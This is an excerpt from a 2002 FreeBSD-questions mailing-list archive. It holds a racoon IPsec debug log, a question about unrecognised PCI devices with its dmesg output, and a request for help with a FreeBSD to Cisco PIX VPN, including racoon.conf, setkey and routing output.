nptype=3(trns)
2002-07-30 09:08:01: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:1311:get_transform(): transform #1
len=40
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec():
type=Encription Mode, flag=0x8000, lorv=Tunnel
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Type, flag=0x8000, lorv=seconds
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Duration, flag=0x8000, lorv=28800
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2155:check_attr_ipsec(): life
duration was in TLV.
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Type, flag=0x8000, lorv=kilobytes
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Duration, flag=0x0000, lorv=4
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=Group
Description, flag=0x8000, lorv=1
2002-07-30 09:08:01: DEBUG: algorithm.c:610:alg_oakley_dhdef():
hmac(modp768)
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec():
type=Authentication Algorithm, flag=0x8000, lorv=1
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:1170:get_proppair(): proposal #1
len=52
2002-07-30 09:08:01: DEBUG: isakmp.c:1109:isakmp_parsewoh(): begin.
2002-07-30 09:08:01: DEBUG: isakmp.c:1136:isakmp_parsewoh(): seen
nptype=3(trns)
2002-07-30 09:08:01: DEBUG: isakmp.c:1175:isakmp_parsewoh(): succeed.
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:1311:get_transform(): transform #1
len=40
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec():
type=Encription Mode, flag=0x8000, lorv=Tunnel
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Type, flag=0x8000, lorv=seconds
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Duration, flag=0x8000, lorv=28800
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2155:check_attr_ipsec(): life
duration was in TLV.
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Type, flag=0x8000, lorv=kilobytes
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=SA
Life Duration, flag=0x0000, lorv=4
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec():
type=Authentication Algorithm, flag=0x8000, lorv=1
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:2067:check_attr_ipsec(): type=Group
Description, flag=0x8000, lorv=1
2002-07-30 09:08:01: DEBUG: algorithm.c:610:alg_oakley_dhdef():
hmac(modp768)
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:1213:get_proppair(): pair 1:
2002-07-30 09:08:01: DEBUG: proposal.c:892:print_proppair0():  0x80a9b30:
next=0x80a9b40 tnext=0x0
2002-07-30 09:08:01: DEBUG: proposal.c:892:print_proppair0():   0x80a9b40:
next=0x0 tnext=0x0
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:1248:get_proppair(): proposal #1: 2
transform
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:948:get_ph2approval(): begin compare
proposals.
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:954:get_ph2approval(): pair[1]:
0x80a9b30
2002-07-30 09:08:01: DEBUG: proposal.c:892:print_proppair0():  0x80a9b30:
next=0x80a9b40 tnext=0x0
2002-07-30 09:08:01: DEBUG: proposal.c:892:print_proppair0():   0x80a9b40:
next=0x0 tnext=0x0
2002-07-30 09:08:01: DEBUG: proposal.c:681:aproppair2saprop(): prop#=1
prot-id=AH spi-size=4 #trns=1 trns#=1 trns-id=MD5
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns():
type=Encription Mode, flag=0x8000, lorv=Tunnel
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Type, flag=0x8000, lorv=seconds
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Duration, flag=0x8000, lorv=28800
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Type, flag=0x8000, lorv=kilobytes
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Duration, flag=0x0000, lorv=4
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=Group
Description, flag=0x8000, lorv=1
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns():
type=Authentication Algorithm, flag=0x8000, lorv=1
2002-07-30 09:08:01: DEBUG: proposal.c:681:aproppair2saprop(): prop#=1
prot-id=ESP spi-size=4 #trns=1 trns#=1 trns-id=DES
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns():
type=Encription Mode, flag=0x8000, lorv=Tunnel
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Type, flag=0x8000, lorv=seconds
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Duration, flag=0x8000, lorv=28800
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Type, flag=0x8000, lorv=kilobytes
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=SA
Life Duration, flag=0x0000, lorv=4
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns():
type=Authentication Algorithm, flag=0x8000, lorv=1
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:3638:ipsecdoi_t2satrns(): type=Group
Description, flag=0x8000, lorv=1
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:990:get_ph2approvalx(): peer's
single bundle:
2002-07-30 09:08:01: DEBUG: proposal.c:825:printsaproto():  (proto_id=AH
spisize=4 spi=f17d1bfa spi_p=00000000 encmode=Tunnel reqid=0:0)
2002-07-30 09:08:01: DEBUG: proposal.c:853:printsatrns():   (trns_id=MD5
authtype=1)
2002-07-30 09:08:01: DEBUG: proposal.c:825:printsaproto():  (proto_id=ESP
spisize=4 spi=028a2fa8 spi_p=00000000 encmode=Tunnel reqid=0:0)
2002-07-30 09:08:01: DEBUG: proposal.c:859:printsatrns():   (trns_id=DES
encklen=0 authtype=1)
2002-07-30 09:08:01: DEBUG: ipsec_doi.c:993:get_ph2approvalx(): my single
bundle:
2002-07-30 09:08:01: DEBUG: proposal.c:825:printsaproto():  (proto_id=ESP
spisize=4 spi=00000000 spi_p=00000000 encmode=Tunnel reqid=0:0)
2002-07-30 09:08:01: DEBUG: proposal.c:859:printsatrns():   (trns_id=DES
encklen=0 authtype=1)
2002-07-30 09:08:01: ERROR: ipsec_doi.c:1001:get_ph2approvalx(): not matched
2002-07-30 09:08:01: ERROR: ipsec_doi.c:966:get_ph2approval(): no suitable
policy found.
2002-07-30 09:08:01: ERROR: isakmp.c:1060:isakmp_ph2begin_r(): failed to
pre-process packet.
2002-07-30 09:08:01: DEBUG: oakley.c:2543:oakley_newiv2(): compute IV for
phase2
2002-07-30 09:08:01: DEBUG: oakley.c:2544:oakley_newiv2(): phase1 last IV:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
5dd5e325 f1e6fcf2 fe88f928
2002-07-30 09:08:01: DEBUG: algorithm.c:252:alg_oakley_hashdef(): hash(md5)
2002-07-30 09:08:01: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:08:01: DEBUG: oakley.c:2576:oakley_newiv2(): phase2 IV
computed:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
a8ef309d 3aa70d75
2002-07-30 09:08:01: DEBUG: oakley.c:745:oakley_compute_hash1(): HASH with:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
fe88f928 0000000c 00000001 0100000e
2002-07-30 09:08:01: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:08:01: DEBUG: oakley.c:755:oakley_compute_hash1(): HASH
computed:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
8e3f9f22 96d018e5 69c2ac66 84f4d026
2002-07-30 09:08:01: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
08:01.727704 xxx.xxx.xxx.70:500 -> yyy.yyy.yyy.62:500: isakmp 1.0 msgid
fe88f928: phase 2/others ? inf:
    (hash: len=16)
    (n: doi=ipsec proto=isakmp type=NO-PROPOSAL-CHOSEN)
2002-07-30 09:08:01: DEBUG: oakley.c:2742:oakley_do_encrypt(): begin
encryption.
2002-07-30 09:08:01: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:08:01: DEBUG: oakley.c:2758:oakley_do_encrypt(): pad length =
8
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
0b000014 8e3f9f22 96d018e5 69c2ac66 84f4d026 0000000c 00000001 0100000e
00000000 00000008
2002-07-30 09:08:01: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:08:01: DEBUG: oakley.c:2793:oakley_do_encrypt(): with key:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
b5a9e14b 687a9d70
2002-07-30 09:08:01: DEBUG: oakley.c:2801:oakley_do_encrypt(): encrypted
payload by IV:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
a8ef309d 3aa70d75
2002-07-30 09:08:01: DEBUG: oakley.c:2808:oakley_do_encrypt(): save IV for
next:
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
c407bc2f 6c231b6b
2002-07-30 09:08:01: DEBUG: oakley.c:2825:oakley_do_encrypt(): encrypted.
2002-07-30 09:08:01: DEBUG: sockmisc.c:421:sendfromto(): sockname
xxx.xxx.xxx.70[500]
2002-07-30 09:08:01: DEBUG: sockmisc.c:423:sendfromto(): send packet from
xxx.xxx.xxx.70[500]
2002-07-30 09:08:01: DEBUG: sockmisc.c:425:sendfromto(): send packet to
yyy.yyy.yyy.62[500]
2002-07-30 09:08:01: DEBUG: sockmisc.c:570:sendfromto(): 1 times of 68 bytes
message will be sent to xxx.xxx.xxx.70[500]
2002-07-30 09:08:01: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 08100501 fe88f928 00000044 1c53b0b5
597ca4cc 411b3a2f f39a081f 1f161c55 c2c4449c 9f3873e9 dbcf1f7b c407bc2f
6c231b6b
2002-07-30 09:08:01: DEBUG: isakmp_inf.c:634:isakmp_info_send_common():
sendto Information notify.
2002-07-30 09:08:10: INFO: session.c:281:check_sigreq(): caught signal 2
2002-07-30 09:08:10: DEBUG: pfkey.c:192:pfkey_handler(): get pfkey FLUSH
message
2002-07-30 09:08:10: DEBUG2: plog.c:193:plogdump():
02090000 02000000 00000000 01010000
2002-07-30 09:08:11: DEBUG: pfkey.c:268:pfkey_dump_sadb(): call
pfkey_send_dump
2002-07-30 09:08:11: DEBUG: oakley.c:2543:oakley_newiv2(): compute IV for
phase2
2002-07-30 09:08:11: DEBUG: oakley.c:2544:oakley_newiv2(): phase1 last IV:
2002-07-30 09:08:11: DEBUG: plog.c:193:plogdump():
5dd5e325 f1e6fcf2 c3d96108
2002-07-30 09:08:11: DEBUG: algorithm.c:252:alg_oakley_hashdef(): hash(md5)
2002-07-30 09:08:11: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:08:11: DEBUG: oakley.c:2576:oakley_newiv2(): phase2 IV
computed:
2002-07-30 09:08:11: DEBUG: plog.c:193:plogdump():
92b0eb86 e2060e32
2002-07-30 09:08:11: DEBUG: oakley.c:745:oakley_compute_hash1(): HASH with:
2002-07-30 09:08:11: DEBUG: plog.c:193:plogdump():
c3d96108 0000001c 00000001 01100001 ac807c45 f47b274e 1cbebccd d7441a4e
2002-07-30 09:08:11: DEBUG: algorithm.c:322:alg_oakley_hmacdef():
hmac(hmac_md5)
2002-07-30 09:08:11: DEBUG: oakley.c:755:oakley_compute_hash1(): HASH
computed:
2002-07-30 09:08:11: DEBUG: plog.c:193:plogdump():
dc40a4c5 f5323909 97dd81ab 780cd676
2002-07-30 09:08:11: DEBUG: isakmp.c:2245:isakmp_printpacket(): begin.
08:11.063983 xxx.xxx.xxx.70:500 -> yyy.yyy.yyy.62:500: isakmp 1.0 msgid
c3d96108: phase 2/others ? inf:
    (hash: len=16)
    (d: doi=ipsec proto=isakmp spilen=16 nspi=1
spi=ac807c45f47b274e1cbebccdd7441a4e)
2002-07-30 09:08:11: DEBUG: oakley.c:2742:oakley_do_encrypt(): begin
encryption.
2002-07-30 09:08:11: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:08:11: DEBUG: oakley.c:2758:oakley_do_encrypt(): pad length =
8
2002-07-30 09:08:11: DEBUG: plog.c:193:plogdump():
0c000014 dc40a4c5 f5323909 97dd81ab 780cd676 0000001c 00000001 01100001
ac807c45 f47b274e 1cbebccd d7441a4e 00000000 00000008
2002-07-30 09:08:11: DEBUG: algorithm.c:382:alg_oakley_encdef():
encription(des)
2002-07-30 09:08:11: DEBUG: oakley.c:2793:oakley_do_encrypt(): with key:
2002-07-30 09:08:11: DEBUG: plog.c:193:plogdump():
b5a9e14b 687a9d70
2002-07-30 09:08:11: DEBUG: oakley.c:2801:oakley_do_encrypt(): encrypted
payload by IV:
2002-07-30 09:08:11: DEBUG: plog.c:193:plogdump():
92b0eb86 e2060e32
2002-07-30 09:08:11: DEBUG: oakley.c:2808:oakley_do_encrypt(): save IV for
next:
2002-07-30 09:08:11: DEBUG: plog.c:193:plogdump():
230758d9 5343051e
2002-07-30 09:08:11: DEBUG: oakley.c:2825:oakley_do_encrypt(): encrypted.
2002-07-30 09:08:11: DEBUG: sockmisc.c:421:sendfromto(): sockname
xxx.xxx.xxx.70[500]
2002-07-30 09:08:11: DEBUG: sockmisc.c:423:sendfromto(): send packet from
xxx.xxx.xxx.70[500]
2002-07-30 09:08:11: DEBUG: sockmisc.c:425:sendfromto(): send packet to
yyy.yyy.yyy.62[500]
2002-07-30 09:08:11: DEBUG: sockmisc.c:570:sendfromto(): 1 times of 84 bytes
message will be sent to xxx.xxx.xxx.70[500]
2002-07-30 09:08:11: DEBUG: plog.c:193:plogdump():
ac807c45 f47b274e 1cbebccd d7441a4e 08100501 c3d96108 00000054 96f0e479
86e3c443 aa804a3f 6f1d09f0 6dd251a8 492399a3 add964f2 563e5540 20dbd12a
17b65148 38b552ce 4504d7f2 230758d9 5343051e
2002-07-30 09:08:11: DEBUG: isakmp_inf.c:634:isakmp_info_send_common():
sendto Information delete.
2002-07-30 09:08:11: DEBUG: schedule.c:210:sched_scrub_param(): an undead
schedule has been deleted.
2002-07-30 09:08:11: INFO: session.c:180:close_session(): racoon shutdown






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From owner-freebsd-questions  Tue Jul 30 23:36:18 2002
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Date: Tue, 30 Jul 2002 23:36:10 -0700 (PDT)
From: wlw zhang <wlwzhang@yahoo.com>
Subject: Question regarding finding and loading device modules for 3 unknown card device
To: freebsd-questions@FreeBSD.org
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--0-1248410445-1028097370=:66038
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,

After build a 4.6 kernel for my DELL OptiPlex GX110, I
have 3 unknown device card with command `dmesg|grep
unknown`:

pci1: <unknown card> (vendor=0x1106, dev=0x3044) at
10.0 irq 11
pci1: <unknown card> (vendor=0x134d, dev=0x7897) at
11.0 irq 9
pci0: <unknown card> (vendor=0x8086, dev=0x2413) at
31.3 irq 10

All the cards are following,
(vendor=0x1106, dev=0x3044) is a IEEE 1394 PCI card.
(vendor=0x134d, dev=0x7897) is a modem PCI card.
(vendor=0x8086, dev=0x2413) an intel buildin card,
don't know what's it used for.


Question.

1. How do I find out all device entries in my kernel
conf file? so that I can rebuild it, LINT doesn't seem
help at this point.

2. Can I not rebuild my kernel, but just use
loader.conf to load those modules at boot time? If
yes, where can I find those modules? not sure
/boot/defaults/loader.conf will help.

3. Can I use "kldload"? if yes, same question as 2,
where can I find the modules for those?

Thanks in advance.

Regards,

Bill
P.S. I attached the whole dmesg if you want to see it.



__________________________________________________
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--0-1248410445-1028097370=:66038
Content-Type: text/plain; name="dmesg.boot"
Content-Description: dmesg.boot
Content-Disposition: inline; filename="dmesg.boot"

Copyright (c) 1992-2002 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
	The Regents of the University of California. All rights reserved.
FreeBSD 4.6-RELEASE #2: Tue Jul 30 16:53:15 GMT 2002
    root@dhcp-154-6.charterpipeline.net:/usr/obj/usr/src/sys/BILLKERNEL
Timecounter "i8254"  frequency 1193182 Hz
Timecounter "TSC"  frequency 664513158 Hz
CPU: Pentium III/Pentium III Xeon/Celeron (664.51-MHz 686-class CPU)
  Origin = "GenuineIntel"  Id = 0x683  Stepping = 3
  Features=0x383f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR,SSE>
real memory  = 267051008 (260792K bytes)
avail memory = 256204800 (250200K bytes)
Preloaded elf kernel "kernel" at 0xc0399000.
Pentium Pro MTRR support enabled
md0: Malloc disk
Using $PIR table, 9 entries at 0xc00fbc40
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib0: <Intel 82810E (i810E GMCH) Host To Hub bridge> on motherboard
pci0: <PCI bus> on pcib0
pci0: <Intel 82810E (i810E GMCH) SVGA controller> at 1.0 irq 9
pcib1: <Intel 82801AA (ICH) Hub to PCI bridge> at device 30.0 on pci0
pci1: <PCI bus> on pcib1
pci1: <NVidia Riva Ultra Vanta TNT2 graphics accelerator> at 7.0 irq 9
pci1: <unknown card> (vendor=0x1106, dev=0x3044) at 10.0 irq 11
pci1: <unknown card> (vendor=0x134d, dev=0x7897) at 11.0 irq 9
xl0: <3Com 3c905C-TX Fast Etherlink XL> port 0xe880-0xe8ff mem 0xfcfff400-0xfcfff47f irq 5 at device 12.0 on pci1
xl0: Ethernet address: 00:b0:d0:71:e5:cc
miibus0: <MII bus> on xl0
xlphy0: <3c905C 10/100 internal PHY> on miibus0
xlphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
isab0: <Intel 82801AA (ICH) PCI to LPC bridge> at device 31.0 on pci0
isa0: <ISA bus> on isab0
atapci0: <Intel ICH ATA66 controller> port 0xffa0-0xffaf at device 31.1 on pci0
ata0: at 0x1f0 irq 14 on atapci0
ata1: at 0x170 irq 15 on atapci0
uhci0: <Intel 82801AA (ICH) USB controller> port 0xff80-0xff9f irq 11 at device 31.2 on pci0
usb0: <Intel 82801AA (ICH) USB controller> on uhci0
usb0: USB revision 1.0
uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
uhub0: 2 ports with 2 removable, self powered
ugen0: ViewQuest Technologies INC. VQ110 Digital Video Camera, rev 1.10/0.00, addr 2
pci0: <unknown card> (vendor=0x8086, dev=0x2413) at 31.3 irq 10
chip1: <Intel 82801AA (ICH) AC'97 Audio Controller> port 0xdc80-0xdcbf,0xd800-0xd8ff irq 10 at device 31.5 on pci0
orm0: <Option ROMs> at iomem 0xc0000-0xc97ff,0xc9800-0xcffff on isa0
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
atkbdc0: <Keyboard controller (i8042)> at port 0x60,0x64 on isa0
atkbd0: <AT Keyboard> flags 0x1 irq 1 on atkbdc0
kbd0 at atkbd0
psm0: <PS/2 Mouse> irq 12 on atkbdc0
psm0: model IntelliMouse, device ID 3
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA <16 virtual consoles, flags=0x300>
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
ppc0: <Parallel port> at port 0x378-0x37f irq 7 on isa0
ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode
ppc0: FIFO with 16/16/8 bytes threshold
plip0: <PLIP network interface> on ppbus0
lpt0: <Printer> on ppbus0
lpt0: Interrupt-driven port
ppi0: <Parallel I/O> on ppbus0
ad0: 14324MB <IBM-DTLA-307015> [29104/16/63] at ata0-master UDMA66
ad1: 76319MB <ST380021A> [155061/16/63] at ata0-slave UDMA66
acd0: CDROM <CRD-8482B> at ata1-master PIO4
afd0: 96MB <IOMEGA ZIP 100 ATAPI> [96/64/32] at ata1-slave PIO0
Mounting root from ufs:/dev/ad0s2a

--0-1248410445-1028097370=:66038--

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From owner-freebsd-questions  Tue Jul 30 23:50:18 2002
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From: "Cezary Nolewajka" <c.nolewajka@m2mob.com>
To: <freebsd-questions@freebsd.org>
Subject: FreeBSD and CISCO Pix IPSec VPN - problem (long)
Date: Wed, 31 Jul 2002 08:56:26 +0200
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Hello everybody,

I have a general problem setting up a IPSec VPN connection between freebsd
and a cisco router/pix.

I got to the stage where both machines can see each other, start the
negotiation phase 1 that succeeds and fail at the stage 2. The racoon -F
info says that get_ph2approvalx(): not matched and therefore no policy is
found.

It seems that I have a problem with my or Pixes configuration. I browsed all
the net
archives and pages I could have found on the VPN/IPSec freebsd installation
and configuration and failed to find a solution.

If there is anything that you could suggest or even solved such a problem, I
would be grateful for any kind of help or support.

Below I attached some of the configuration and debugging information
concerning the IPSec setup.

Regards,
Cezary Nolewajka
mailto:czarek@homemail.com

PS. The full debug output (not shortened) can be found at:
http://klub.chip.pl/nolewajk/temp/fbsdvpn.txt (100kb)


IFCONFIG:

rl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
 inet 10.0.0.1 netmask 0xffffff00 broadcast 10.0.0.255
 inet6 fe80::2c0:dfff:fe13:c4b2%rl0 prefixlen 64 scopeid 0x1
 ether 00:c0:df:13:c4:b2
 media: Ethernet autoselect (100baseTX)
 status: active
rl1: flags=8943<UP,BROADCAST,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500
 inet xxx.xxx.xxx.70 netmask 0xffffff00 broadcast xxx.xxx.xxx.255
 inet6 fe80::220:edff:fe32:2c79%rl1 prefixlen 64 scopeid 0x2
 ether 00:20:ed:32:2c:79
 media: Ethernet autoselect (100baseTX <full-duplex>)
 status: active
lp0: flags=8810<POINTOPOINT,SIMPLEX,MULTICAST> mtu 1500
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
 inet6 ::1 prefixlen 128
 inet6 fe80::1%lo0 prefixlen 64 scopeid 0x4
 inet 127.0.0.1 netmask 0xff000000
ppp0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
sl0: flags=c010<POINTOPOINT,LINK2,MULTICAST> mtu 552
faith0: flags=8002<BROADCAST,MULTICAST> mtu 1500
gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
 tunnel inet xxx.xxx.xxx.70 --> yyy.yyy.yyy.62
 inet6 fe80::2c0:dfff:fe13:c4b2%gif0 prefixlen 64 scopeid 0x8
 inet 10.0.0.1 --> 192.168.5.55 netmask 0xffffff00

-------------------------------------------------------------------

SETKEY -PD

192.168.5.55[any] 10.0.0.1[any] any
 in ipsec
 esp/tunnel/yyy.yyy.yyy.62-xxx.xxx.xxx.70/require
 spid=4 seq=1 pid=244
 refcnt=1
10.0.0.1[any] 192.168.5.55[any] any
 out ipsec
 esp/tunnel/xxx.xxx.xxx.70-yyy.yyy.yyy.62/require
 spid=3 seq=0 pid=244
 refcnt=1

--------------------------------------------------------------------

GIFCONFIG:

gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
 inet6 fe80::2c0:dfff:fe13:c4b2%gif0  prefixlen 64
 inet 10.0.0.1 --> 192.168.5.55 netmask 0xffffff00
 physical address inet xxx.xxx.xxx.70 --> yyy.yyy.yyy.62

--------------------------------------------------------------------

RACOON.CONF:

# $KAME: racoon.conf.in,v 1.18 2001/08/16 06:33:40 itojun Exp $

# "path" must be placed before it should be used.
# You can overwrite which you defined, but it should not use due to
confusing.
path include "/usr/local/etc/racoon" ;
#include "remote.conf" ;

# search this file for pre_shared_key with various ID key.
path pre_shared_key "/usr/local/etc/racoon/psk.txt" ;

# racoon will look for certificate file in the directory,
# if the certificate/certificate request payload is received.
path certificate "/usr/local/etc/cert" ;

# "log" specifies logging level.  It is followed by either "notify", "debug"
# or "debug2".
#log debug;

# "padding" defines some parameter of padding.  You should not touch these.
padding
{
 maximum_length 20; # maximum padding length.
 randomize off;  # enable randomize length.
 strict_check off; # enable strict check.
 exclusive_tail off; # extract last one octet.
}

# if no listen directive is specified, racoon will listen to all
# available interface addresses.
listen
{
 isakmp xxx.xxx.xxx.70 [500];
 #isakmp ::1 [7000];
 #isakmp 202.249.11.124 [500];
 #admin [7002];  # administrative's port by kmpstat.
 #strict_address;  # required all addresses must be bound.
}

# Specification of default various timer.
timer
{
 # These value can be changed per remote node.
 counter 5;  # maximum trying count to send.
 interval 20 sec; # maximum interval to resend.
 persend 1;  # the number of packets per a send.

 # timer for waiting to complete each phase.
 phase1 30 sec;
 phase2 15 sec;
}

remote yyy.yyy.yyy.62 [500]
{
 #exchange_mode aggressive,main;
 exchange_mode main,aggressive;
 doi ipsec_doi;
 situation identity_only;

 my_identifier address 10.0.0.1;
 peers_identifier address 192.168.5.55;

 nonce_size 16;
  lifetime time 1 min; # sec,min,hour
 #lifetime byte 5000 kb; # B,KB,GB
 initial_contact on;
 support_mip6 on;
 proposal_check obey; # obey, strict or claim

 proposal {
  lifetime time 3600 sec;
  encryption_algorithm des;
  hash_algorithm md5;
  authentication_method pre_shared_key ;
  dh_group 1;
 }
}

sainfo address xxx.xxx.xxx.70 any address yyy.yyy.yyy.62 any
{
 pfs_group 1;
 lifetime time 3600 sec;
 #lifetime byte 50 MB;
 encryption_algorithm des;
 authentication_algorithm hmac_md5;
 #authentication_algorithm non_auth;
 compression_algorithm deflate;
}

remote anonymous
{
 #exchange_mode main,aggressive;
 exchange_mode aggressive,main;
 doi ipsec_doi;
 situation identity_only;

 #my_identifier address;
 my_identifier user_fqdn "sakane@kame.net";
 peers_identifier user_fqdn "sakane@kame.net";
 #certificate_type x509 "mycert" "mypriv";

 nonce_size 16;
 lifetime time 1 min; # sec,min,hour
 initial_contact on;
 support_mip6 on;
 proposal_check obey; # obey, strict or claim

 proposal {
  encryption_algorithm des;
  hash_algorithm md5;
  authentication_method pre_shared_key ;
  dh_group 1;
 }
}

remote ::1 [8000]
{
 #exchange_mode main,aggressive;
 exchange_mode aggressive,main;
 doi ipsec_doi;
 situation identity_only;

 my_identifier user_fqdn "sakane@kame.net";
 peers_identifier user_fqdn "sakane@kame.net";
 #certificate_type x509 "mycert" "mypriv";

 nonce_size 16;
 lifetime time 1 min; # sec,min,hour

 proposal {
  encryption_algorithm 3des;
  hash_algorithm sha1;
  authentication_method pre_shared_key ;
  dh_group 2 ;
 }
}

sainfo anonymous
{
 pfs_group 1;
 lifetime time 30 sec;
 encryption_algorithm des ;
 authentication_algorithm hmac_md5;
 compression_algorithm deflate;
}

sainfo address 203.178.141.209 any address 203.178.141.218 any
{
 pfs_group 1;
 lifetime time 30 sec;
 encryption_algorithm des ;
 authentication_algorithm hmac_md5;
 compression_algorithm deflate ;
}

sainfo address ::1 icmp6 address ::1 icmp6
{
 pfs_group 1;
 lifetime time 60 sec;
 encryption_algorithm 3des, cast128, blowfish 448, des ;
 authentication_algorithm hmac_sha1, hmac_md5 ;
 compression_algorithm deflate ;
}

--------------------------------------------------------------------------

NETSTAT -nr

Routing tables

Internet:
Destination        Gateway            Flags    Refs      Use  Netif Expire
default            xxx.xxx.xxx.254     UGSc        3   179667    rl1
10/24              link#1             UC          2        0    rl0
10.0.0.100         00:c0:df:13:25:3b  UHLW        0     8042    rl0   1187
10.0.0.101         00:c0:df:13:25:39  UHLW        4    39888    rl0    898
127.0.0.1          127.0.0.1          UH          0        0    lo0
192.168.5.55       10.0.0.1           UH          0      392   gif0
212.244.99         link#2             UC          1        0    rl1
xxx.xxx.xxx.254     00:50:73:09:f0:81  UHLW        2        0    rl1   1194

Internet6:
Destination                       Gateway                       Flags
Netif Expire
::1                               ::1                           UH
lo0
fe80::%rl0/64                     link#1                        UC
rl0
fe80::2c0:dfff:fe13:c4b2%rl0      00:c0:df:13:c4:b2             UHL
lo0
fe80::%rl1/64                     link#2                        UC
rl1
fe80::220:edff:fe32:2c79%rl1      00:20:ed:32:2c:79             UHL
lo0
fe80::%lo0/64                     fe80::1%lo0                   Uc
lo0
fe80::1%lo0                       link#4                        UHL
lo0
fe80::%gif0/64                    link#8                        UC
gif0
fe80::2c0:dfff:fe13:c4b2%gif0     link#8                        UHL
lo0
ff01::/32                         ::1                           U
lo0
ff02::%rl0/32                     link#1                        UC
rl0
ff02::%rl1/32                     link#2                        UC
rl1
ff02::%lo0/32                     ::1                           UC
lo0
ff02::%gif0/32                    link#8                        UC
gif0

